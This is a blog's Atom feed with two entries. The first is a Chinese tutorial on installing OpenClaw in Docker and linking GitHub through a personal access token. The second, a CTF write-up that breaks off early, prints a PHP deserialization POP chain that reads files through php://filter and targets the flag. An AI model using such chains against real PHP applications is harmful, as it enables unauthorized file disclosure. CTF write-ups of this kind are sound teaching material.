<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Malpl3naInk</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://blog.moling.ink/</id>
  <link href="https://blog.moling.ink/" rel="alternate"/>
  <link href="https://blog.moling.ink/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Malpl3naInk</rights>
  <subtitle>;)</subtitle>
  <title>
    <![CDATA[Malpl3naInk> $ Permission Granted]]>
  </title>
  <updated>2026-03-24T07:16:31.687Z</updated>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="笔记" scheme="https://blog.moling.ink/categories/%E7%AC%94%E8%AE%B0/"/>
    <category term="OpenClaw" scheme="https://blog.moling.ink/tags/OpenClaw/"/>
    <category term="Docker" scheme="https://blog.moling.ink/tags/Docker/"/>
    <content>
      <![CDATA[<blockquote><p>看了一圈 Docker 安装 OpenClaw 的文章好像都是默认设置 <br>正好搞了连接 Github 账号就记录一下</p></blockquote><h2 id="主机信息"><a href="#主机信息" class="headerlink" title="主机信息"></a>主机信息</h2><ul><li><strong>系统:</strong> Debian GNU&#x2F;Linux 13 (trixie)</li><li><strong>OpenClaw 代码目录:</strong> &#x2F;data&#x2F;openclaw&#x2F;src</li><li><strong>OpenClaw 数据目录:</strong> &#x2F;data&#x2F;openclaw&#x2F;data</li><li><strong>模型提供商:</strong> Deepseek</li></ul><h2 id="目标"><a href="#目标" class="headerlink" title="目标"></a>目标</h2><ul><li>Docker 安装 OpenClaw</li><li>更改数据保存位置</li><li>通过 PAT 连接 Github 账号</li></ul><h2 id="安装-OpenClaw"><a href="#安装-OpenClaw" class="headerlink" title="安装 OpenClaw"></a>安装 OpenClaw</h2><h3 id="下载-OpenClaw-代码库"><a href="#下载-OpenClaw-代码库" class="headerlink" title="下载 OpenClaw 代码库"></a>下载 OpenClaw 代码库</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">git <span class="hljs-built_in">clone</span> https://github.com/openclaw/openclaw.git src<br></code></pre></td></tr></table></figure><h3 id="切换到最新发行版"><a href="#切换到最新发行版" class="headerlink" title="切换到最新发行版"></a>切换到最新发行版</h3><p>在<a href="https://github.com/openclaw/openclaw/releases/latest">此处</a>查看最新发行版</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">git checkout v2026.2.26<br></code></pre></td></tr></table></figure><h3 id="创建-env-环境变量"><a href="#创建-env-环境变量" class="headerlink" title="创建 .env 环境变量"></a>创建 .env 环境变量</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 自定义数据目录，按照实际情况修改</span><br>OPENCLAW_CONFIG_DIR=/data/openclaw/data<br><span class="hljs-comment"># 自定义工作空间，按照实际情况修改</span><br>OPENCLAW_WORKSPACE_DIR=/data/openclaw/data/workspace<br>OPENCLAW_GATEWAY_PORT=18789<br>OPENCLAW_BRIDGE_PORT=18790<br>OPENCLAW_GATEWAY_BIND=lan<br>OPENCLAW_GATEWAY_TOKEN=&lt;随机生成的64位hex&gt;<br>OPENCLAW_IMAGE=openclaw:<span class="hljs-built_in">local</span><br><span class="hljs-comment"># 持久化 gh 配置文件</span><br>OPENCLAW_EXTRA_MOUNTS=/data/openclaw/data/.config/gh:/home/node/.config/gh<br>OPENCLAW_HOME_VOLUME=<br>OPENCLAW_DOCKER_APT_PACKAGES=<br></code></pre></td></tr></table></figure><p><strong>Hex 随机生成</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">openssl rand -hex 32<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">head</span> -c 32 /dev/urandom | xxd -p<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">od</span> -An -N32 -tx1 /dev/urandom | <span class="hljs-built_in">tr</span> -d <span class="hljs-string">&#x27; \n&#x27;</span><br></code></pre></td></tr></table></figure><details> <summary>环境变量说明</summary><table><thead><tr><th>变量名</th><th>说明</th><th>默认值</th><th>需要修改</th></tr></thead><tbody><tr><td>OPENCLAW_CONFIG_DIR</td><td>数据目录</td><td>&#x2F;home&#x2F;&lt;你的用户名&gt;&#x2F;.openclaw</td><td>√</td></tr><tr><td>OPENCLAW_WORKSPACE_DIR</td><td>工作空间</td><td>&#x2F;home&#x2F;&lt;你的用户名&gt;&#x2F;.openclaw&#x2F;workspace</td><td>√</td></tr><tr><td>OPENCLAW_GATEWAY_PORT</td><td>WebUI 端口</td><td>18789</td><td></td></tr><tr><td>OPENCLAW_BRIDGE_PORT</td><td></td><td>18790</td><td></td></tr><tr><td>OPENCLAW_GATEWAY_BIND</td><td></td><td>lan</td><td></td></tr><tr><td>OPENCLAW_GATEWAY_TOKEN</td><td></td><td>&lt;随机生成的64位hex&gt;</td><td>√</td></tr><tr><td>OPENCLAW_IMAGE</td><td>Docker 镜像名称</td><td>openclaw:local</td><td></td></tr><tr><td>OPENCLAW_EXTRA_MOUNTS</td><td>Docker 额外挂载的目录</td><td></td><td>√</td></tr><tr><td>OPENCLAW_HOME_VOLUME</td><td></td><td></td><td></td></tr><tr><td>OPENCLAW_DOCKER_APT_PACKAGES</td><td>镜像构建时额外安装的apt包</td><td></td><td></td></tr></tbody></table></details><h3 id="构建-OpenClaw-镜像"><a href="#构建-OpenClaw-镜像" class="headerlink" title="构建 OpenClaw 镜像"></a>构建 OpenClaw 镜像</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker build -t openclaw:<span class="hljs-built_in">local</span> -f Dockerfile .<br></code></pre></td></tr></table></figure><h3 id="启动-OpenClaw-并进入设置向导"><a href="#启动-OpenClaw-并进入设置向导" class="headerlink" title="启动 OpenClaw 并进入设置向导"></a>启动 OpenClaw 并进入设置向导</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker compose run --<span class="hljs-built_in">rm</span> openclaw-cli onboard<br></code></pre></td></tr></table></figure><details> <summary>设置向导</summary><ul><li><p><strong>I understand this is personal-by-default and shared&#x2F;multi-user use requires lock-down. Continue?</strong> (我理解这是默认个人使用，共享&#x2F;多用户使用需要锁定设置。是否继续？)</p><ul><li>Yes</li></ul></li><li><p><strong>Onboarding mode</strong> (引导模式)</p><ul><li>Quick Start</li></ul></li><li><p><strong>Model&#x2F;auth provider</strong> (模型提供商) - <em>对于 Deepseek, 使用 <code>Custom Provider</code></em></p><ul><li>Custom Provider</li></ul></li><li><p><strong>API Base URL</strong></p><ul><li><code>https://api.deepseek.com</code></li></ul></li><li><p><strong>How do you want to provide this API key?</strong> (何时填写 API Key)</p><ul><li>Paste API key now</li></ul></li><li><p><strong>API Key</strong> (leave blank if not required)</p><ul><li><code>&lt;填写 API Key&gt;</code></li></ul></li><li><p><strong>Endpoint compatibility</strong> (API 端点兼容性) - <em>对于 Deepseek, 使用 OpenAI 兼容 API</em></p><ul><li>OpenAI-compatible</li></ul></li><li><p><strong>Model ID</strong> (模型 ID)</p><ul><li><code>deepseek-chat</code></li></ul></li><li><p><strong>Verification successful.</strong> (显示即为验证成功)</p></li><li><p><strong>Endpoint ID</strong> (命名 API 端点)</p><ul><li><code>&lt;自行命名&gt;</code></li></ul></li><li><p><strong>Model alias (optional)</strong> (模型别名)</p><ul><li><code>&lt;非必填项&gt;</code></li></ul></li><li><p><strong>Select channel (QuickStart)</strong> (设置与模型的对话通道) - <em>此处使用 Telegram Bot</em></p><ul><li>Telegram (Bot API)</li></ul></li><li><p><strong>Enter Telegram bot token</strong> (输入机器人 Token)</p><ul><li><code>&lt;自行填写&gt;</code></li></ul></li><li><p><strong>Telegram allowFrom (numeric sender id; @username resolves to id)</strong> (设置收信白名单)</p><ul><li><code>&lt;自行填写&gt;</code></li></ul></li><li><p><strong>Configure skills now? (recommended)</strong> (现在配置 OpenClaw 功能)</p><ul><li>Yes</li></ul></li><li><p><strong>Install missing skill dependencies</strong> (安装缺失的技能依赖项) - 点击空格进行选择&#x2F;取消选择，回车确认</p><ul><li>github</li></ul></li><li><p><strong>Show Homebrew install command?</strong> (显示 Homebrew 安装命令) - 在 Debian 中使用 <code>apt</code> 而不是 <code>brew</code> 安装</p><ul><li>No</li></ul></li><li><p><strong>Install failed: github — brew not installed — Homebrew is not installed.</strong> (忽略，不需要安装 brew)</p></li><li><p><strong>Set GOOGLE_PLACES_API_KEY for goplaces?</strong> (设置 Google Places API Key) - <em>此处不需要该功能</em></p><ul><li>No</li></ul></li><li><p><strong>跳过几个 API Key 配置</strong></p></li><li><p><strong>Enable hooks?</strong> (启用 Hook, 即 Telegram 的 <code>/</code> 命令)</p><ul><li><code>&lt;自行选择&gt;</code></li></ul></li></ul></details><p>设置向导完成后，在 <code>Control UI</code> 和 <code>Dashboard ready</code> 部分会显示网页控制台的 URL 与 Token</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs bash">◇  Dashboard ready ────────────────────────────────────────────────────────────────╮<br>│                                                                                  │<br>│  Dashboard <span class="hljs-built_in">link</span> (with token):                                                    │<br>│  http://127.0.0.1:18789/<span class="hljs-comment">#token=c01dbeef0000000000000000000000000000000000000000  │</span><br>│  Copy/paste this URL <span class="hljs-keyword">in</span> a browser on this machine to control OpenClaw.           │<br>│  No GUI detected. Open from your computer:                                       │<br>│  ssh -N -L 18789:127.0.0.1:18789 user@&lt;host&gt;                                     │<br>│  Then open:                                                                      │<br>│  http://localhost:18789/                                                         │<br>│  http://localhost:18789/<span class="hljs-comment">#token=c01dbeef0000000000000000000000000000000000000000  │</span><br>│  Docs:                                                                           │<br>│  https://docs.openclaw.ai/gateway/remote                                         │<br>│  https://docs.openclaw.ai/web/control-ui                                         │<br>│                                                                                  │<br>├──────────────────────────────────────────────────────────────────────────────────╯<br></code></pre></td></tr></table></figure><h3 id="修改-openclaw-json"><a href="#修改-openclaw-json" class="headerlink" title="修改 openclaw.json"></a>修改 openclaw.json</h3><p>编辑 <code>$OPENCLAW_CONFIG_DIR/openclaw.json</code>, 在<a href="#%E5%88%9B%E5%BB%BA-env-%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F">先前</a>的设定中为 <code>/data/openclaw/data/openclaw.json</code></p><p>在 <code>gateway</code> 中添加以下内容</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-attr">&quot;controlUi&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;allowedOrigins&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><br>    <span class="hljs-string">&quot;http://127.0.0.1:18789&quot;</span><br>  <span class="hljs-punctuation">]</span><br><span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span><br></code></pre></td></tr></table></figure><h3 id="启动-OpenClaw-Gateway"><a href="#启动-OpenClaw-Gateway" class="headerlink" title="启动 OpenClaw Gateway"></a>启动 OpenClaw Gateway</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker compose up -d openclaw-gateway<br></code></pre></td></tr></table></figure><h3 id="建立-SSH-端口映射隧道"><a href="#建立-SSH-端口映射隧道" class="headerlink" title="建立 SSH 端口映射隧道"></a>建立 SSH 端口映射隧道</h3><p><a href="https://docs.openclaw.ai/gateway/remote#ssh-tunnel-cli-+-tools">官方文档</a></p><p>根据 OpenClaw 的默认安全设置，Control UI 只能从本地 <code>127.0.0.1</code> 访问</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh -N -L 18789:127.0.0.1:18789 &lt;用户名&gt;@&lt;主机 IP 地址&gt;<br></code></pre></td></tr></table></figure><h3 id="访问-Control-UI"><a href="#访问-Control-UI" class="headerlink" title="访问 Control UI"></a>访问 Control UI</h3><p>访问先前获取的带 <code>token</code> 参数的 URL <code>http://127.0.0.1:18789/#token=&lt;Token&gt;</code></p><p>如果一切正常，网页会显示 <code>pairing required</code></p><h2 id="安装-clawdock-helpers"><a href="#安装-clawdock-helpers" class="headerlink" title="安装 clawdock-helpers"></a>安装 clawdock-helpers</h2><p><a href="https://docs.openclaw.ai/install/docker#shell-helpers-optional">clawdock-helpers</a> 是一个用于快速管理 Docker 容器中 OpenClaw 实例的工具</p><h3 id="安装-clawdock-helpers-1"><a href="#安装-clawdock-helpers-1" class="headerlink" title="安装 clawdock-helpers"></a>安装 clawdock-helpers</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 下载 clawdock-helpers</span><br><span class="hljs-built_in">mkdir</span> -p ~/.clawdock &amp;&amp; curl -sL https://raw.githubusercontent.com/openclaw/openclaw/main/scripts/shell-helpers/clawdock-helpers.sh -o ~/.clawdock/clawdock-helpers.sh<br><span class="hljs-comment"># 添加至环境变量</span><br><span class="hljs-built_in">echo</span> <span class="hljs-string">&#x27;source ~/.clawdock/clawdock-helpers.sh&#x27;</span> &gt;&gt; ~/.bashrc &amp;&amp; <span class="hljs-built_in">source</span> ~/.bashrc<br><span class="hljs-comment"># 显示 clawdock 帮助</span><br>clawdock-help<br></code></pre></td></tr></table></figure><h3 id="设置-clawdock-helpers-环境变量"><a href="#设置-clawdock-helpers-环境变量" class="headerlink" title="设置 clawdock-helpers 环境变量"></a>设置 clawdock-helpers 环境变量</h3><p>在 <code>~/.bashrc</code> 添加指向 OpenClaw 源代码目录的环境变量 <code>CLAWDOCK_DIR</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">export</span> CLAWDOCK_DIR=/data/openclaw/src<br></code></pre></td></tr></table></figure><h2 id="设备认证"><a href="#设备认证" class="headerlink" title="设备认证"></a>设备认证</h2><p>安装 clawdock-helpers 后即可使用该工具进行设备认证</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 列出所有设备</span><br>clawdock-devices<br></code></pre></td></tr></table></figure><h3 id="处理-Token-错误"><a href="#处理-Token-错误" class="headerlink" title="处理 Token 错误"></a>处理 Token 错误</h3><p>如果出现如下错误:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">🔍 Checking device pairings...<br>gateway connect failed: Error: unauthorized: gateway token mismatch (<span class="hljs-built_in">set</span> gateway.remote.token to match gateway.auth.token)<br>[openclaw] CLI failed: Error: gateway closed (1008): unauthorized: gateway token mismatch (<span class="hljs-built_in">set</span> gateway.remote.token to match gateway.auth.token)<br></code></pre></td></tr></table></figure><p>运行以下命令修复 Token</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">clawdock-fix-token<br></code></pre></td></tr></table></figure><h3 id="批准配对请求"><a href="#批准配对请求" class="headerlink" title="批准配对请求"></a>批准配对请求</h3><p>如果一切正常，则会输出类似内容</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs bash">🔍 Checking device pairings...<br>Pending (1)<br>┌──────────────────────────────────────┬────────────────────────────────────┬──────────┬────────────┬────────┬────────┐<br>│ Request                              │ Device                             │ Role     │ IP         │ Age    │ Flags  │<br>├──────────────────────────────────────┼────────────────────────────────────┼──────────┼────────────┼────────┼────────┤<br>│ 71949123-52ef-417a-806f-a5c62501d321 │ 21f82c8f9434af86fa525cc9fe7c955541 │ operator │ 172.21.0.1 │ 1m ago │        │<br>│                                      │ 72e0d06235f042992f0cffebfb7c3d     │          │            │        │        │<br>└──────────────────────────────────────┴────────────────────────────────────┴──────────┴────────────┴────────┴────────┘<br>Paired (1)<br>┌─────────────────────────────┬────────────┬────────────────────────────────────────────────┬────────────┬────────────┐<br>│ Device                      │ Roles      │ Scopes                                         │ Tokens     │ IP         │<br>├─────────────────────────────┼────────────┼────────────────────────────────────────────────┼────────────┼────────────┤<br>│ f2f1d2d9b6155bf93693f19a631 │ operator   │ operator.admin, operator.read, operator.       │ operator   │            │<br>│ d5a211adf982a640a360f3b534d │            │ write, operator.approvals, operator.pairing    │            │            │<br>│ bdb3764a39                  │            │                                                │            │            │<br>└─────────────────────────────┴────────────┴────────────────────────────────────────────────┴────────────┴────────────┘<br><br>💡 To approve a pairing request:<br>   clawdock-approve &lt;request-id&gt;<br></code></pre></td></tr></table></figure><p>使用 <code>clawdock-approve</code> 命令批准设备配对请求</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">clawdock-approve &lt;Pending 表格显示的 request-id&gt;<br></code></pre></td></tr></table></figure><p>由于刷新了 Token，需要使用 <code>clawdock-token</code> 命令查看新的 Token</p><p>再次访问 <code>http://127.0.0.1:18789/#token=&lt;Token&gt;</code> 应用新 Token</p><h2 id="配置-gh"><a href="#配置-gh" class="headerlink" title="配置 gh"></a>配置 gh</h2><h3 id="在镜像中安装-gh"><a href="#在镜像中安装-gh" class="headerlink" title="在镜像中安装 gh"></a>在镜像中安装 gh</h3><p>编辑 <code>DockerFile</code>，添加以下内容:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">RUN</span><span class="language-bash"> curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \</span><br><span class="language-bash">    | gpg --dearmor -o /usr/share/keyrings/githubcli-archive-keyring.gpg &amp;&amp; \</span><br><span class="language-bash">  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;deb [arch=<span class="hljs-subst">$(dpkg --print-architecture)</span> signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main&quot;</span> \</span><br><span class="language-bash">    &gt; /etc/apt/sources.list.d/github-cli.list &amp;&amp; \</span><br><span class="language-bash">  apt-get update &amp;&amp; \</span><br><span class="language-bash">  DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends gh &amp;&amp; \</span><br><span class="language-bash">  apt-get clean &amp;&amp; \</span><br><span class="language-bash">  <span class="hljs-built_in">rm</span> -rf /var/lib/apt/lists/* /var/cache/apt/archives/*</span><br></code></pre></td></tr></table></figure><p>添加后的文件应该类似</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile">...<br><span class="hljs-keyword">RUN</span><span class="language-bash"> <span class="hljs-keyword">if</span> [ -n <span class="hljs-string">&quot;<span class="hljs-variable">$OPENCLAW_DOCKER_APT_PACKAGES</span>&quot;</span> ]; <span class="hljs-keyword">then</span> \</span><br><span class="language-bash">      apt-get update &amp;&amp; \</span><br><span class="language-bash">      DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends <span class="hljs-variable">$OPENCLAW_DOCKER_APT_PACKAGES</span> &amp;&amp; \</span><br><span class="language-bash">      apt-get clean &amp;&amp; \</span><br><span class="language-bash">      <span class="hljs-built_in">rm</span> -rf /var/lib/apt/lists/* /var/cache/apt/archives/*; \</span><br><span class="language-bash">    <span class="hljs-keyword">fi</span></span><br><br><span class="hljs-comment"># Install gh</span><br><span class="hljs-keyword">RUN</span><span class="language-bash"> curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \</span><br><span class="language-bash">    | gpg --dearmor -o /usr/share/keyrings/githubcli-archive-keyring.gpg &amp;&amp; \</span><br><span class="language-bash">  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;deb [arch=<span class="hljs-subst">$(dpkg --print-architecture)</span> signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main&quot;</span> \</span><br><span class="language-bash">    &gt; /etc/apt/sources.list.d/github-cli.list &amp;&amp; \</span><br><span class="language-bash">  apt-get update &amp;&amp; \</span><br><span class="language-bash">  DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends gh &amp;&amp; \</span><br><span class="language-bash">  apt-get clean &amp;&amp; \</span><br><span class="language-bash">  <span class="hljs-built_in">rm</span> -rf /var/lib/apt/lists/* /var/cache/apt/archives/*</span><br><br><span class="hljs-keyword">COPY</span><span class="language-bash"> --<span class="hljs-built_in">chown</span>=node:node package.json pnpm-lock.yaml pnpm-workspace.yaml .npmrc ./</span><br><span class="hljs-keyword">COPY</span><span class="language-bash"> --<span class="hljs-built_in">chown</span>=node:node ui/package.json ./ui/package.json</span><br>...<br></code></pre></td></tr></table></figure><h3 id="配置-GH-TOKEN"><a href="#配置-GH-TOKEN" class="headerlink" title="配置 GH_TOKEN"></a>配置 GH_TOKEN</h3><p>修改 <code>docker-compose.yml</code>，在 <code>service.openclaw-gateway.environment</code> 中添加一条 <code>GH_TOKEN</code></p><p>修改后的 docker-compose.yml 大致如下</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs yml"><span class="hljs-attr">services:</span><br>  <span class="hljs-attr">openclaw-gateway:</span><br>    <span class="hljs-attr">image:</span> <span class="hljs-string">$&#123;OPENCLAW_IMAGE:-openclaw:local&#125;</span><br>    <span class="hljs-attr">environment:</span><br>      <span class="hljs-attr">HOME:</span> <span class="hljs-string">/home/node</span><br>      <span class="hljs-attr">TERM:</span> <span class="hljs-string">xterm-256color</span><br>      <span class="hljs-attr">OPENCLAW_GATEWAY_TOKEN:</span> <span class="hljs-string">$&#123;OPENCLAW_GATEWAY_TOKEN&#125;</span><br>      <span class="hljs-attr">CLAUDE_AI_SESSION_KEY:</span> <span class="hljs-string">$&#123;CLAUDE_AI_SESSION_KEY&#125;</span><br>      <span class="hljs-attr">CLAUDE_WEB_SESSION_KEY:</span> <span class="hljs-string">$&#123;CLAUDE_WEB_SESSION_KEY&#125;</span><br>      <span class="hljs-attr">CLAUDE_WEB_COOKIE:</span> <span class="hljs-string">$&#123;CLAUDE_WEB_COOKIE&#125;</span><br>      <span class="hljs-attr">GH_TOKEN:</span> <span class="hljs-string">$&#123;SKILL_GH_TOKEN&#125;</span><br></code></pre></td></tr></table></figure><p>在 <code>.env</code> 中添加 <a href="https://github.com/settings/tokens">Github Personal Access Token</a></p>]]>
    </content>
    <id>https://blog.moling.ink/articles/configure-openclaw-with-docker-and-github/</id>
    <link href="https://blog.moling.ink/articles/configure-openclaw-with-docker-and-github/"/>
    <published>2026-02-28T10:43:02.000Z</published>
    <summary>记录使用 Docker 从源码编译安装 OpenClaw、自定义数据目录、在镜像中集成 gh CLI，并通过 PAT 连接 Github 账号的完整配置流程。</summary>
    <title>使用Docker从源码编译安装OpenClaw并配置Github Skill</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="WriteUP" scheme="https://blog.moling.ink/categories/WriteUP/"/>
    <category term="CTF" scheme="https://blog.moling.ink/tags/CTF/"/>
    <category term="比赛记录" scheme="https://blog.moling.ink/tags/%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/"/>
    <content>
      <![CDATA[<h2 id="Web安全"><a href="#Web安全" class="headerlink" title="Web安全"></a>Web安全</h2><h3 id="Hellogate"><a href="#Hellogate" class="headerlink" title="Hellogate"></a>Hellogate</h3><p>默认网页抓包，在最下面发现网页源码</p><p class='item-img' data-src='/articles/2025-ccb-ciscn/2025-ccb-ciscn_00.png'><img src="/articles/2025-ccb-ciscn/2025-ccb-ciscn_00.png"></p><p>构造pop链 A-&gt;B-&gt;C 尝试查看index.php内容</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">A</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$handle</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">triggerMethod</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&quot;</span> . <span class="hljs-variable language_">$this</span>-&gt;handle;<br>    &#125;<br>&#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">B</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$worker</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-variable language_">$this</span>-&gt;worker-&gt;result;<br>    &#125;<br>&#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">C</span> </span>&#123; <br><span class="hljs-keyword">public</span> <span class="hljs-variable">$cmd</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__get</span>(<span class="hljs-params"><span class="hljs-variable">$name</span></span>) </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$this</span>-&gt;cmd);<br>    &#125; <br>&#125; <br> <br><span class="hljs-variable">$c</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">C</span>(); <br><span class="hljs-variable">$c</span>-&gt;cmd = <span class="hljs-string">&quot;php://filter/read=convert.base64-encode/resource=index.php&quot;</span>; <br><span class="hljs-variable">$b</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">B</span>(); <br><span class="hljs-variable">$b</span>-&gt;worker = <span class="hljs-variable">$c</span>; <br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">A</span>(); <br><span class="hljs-variable">$a</span>-&gt;handle = <span class="hljs-variable">$b</span>; <br><span class="hljs-variable">$d</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>); <br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$d</span>; <br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>没有发现任何线索，直接读取flag文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span 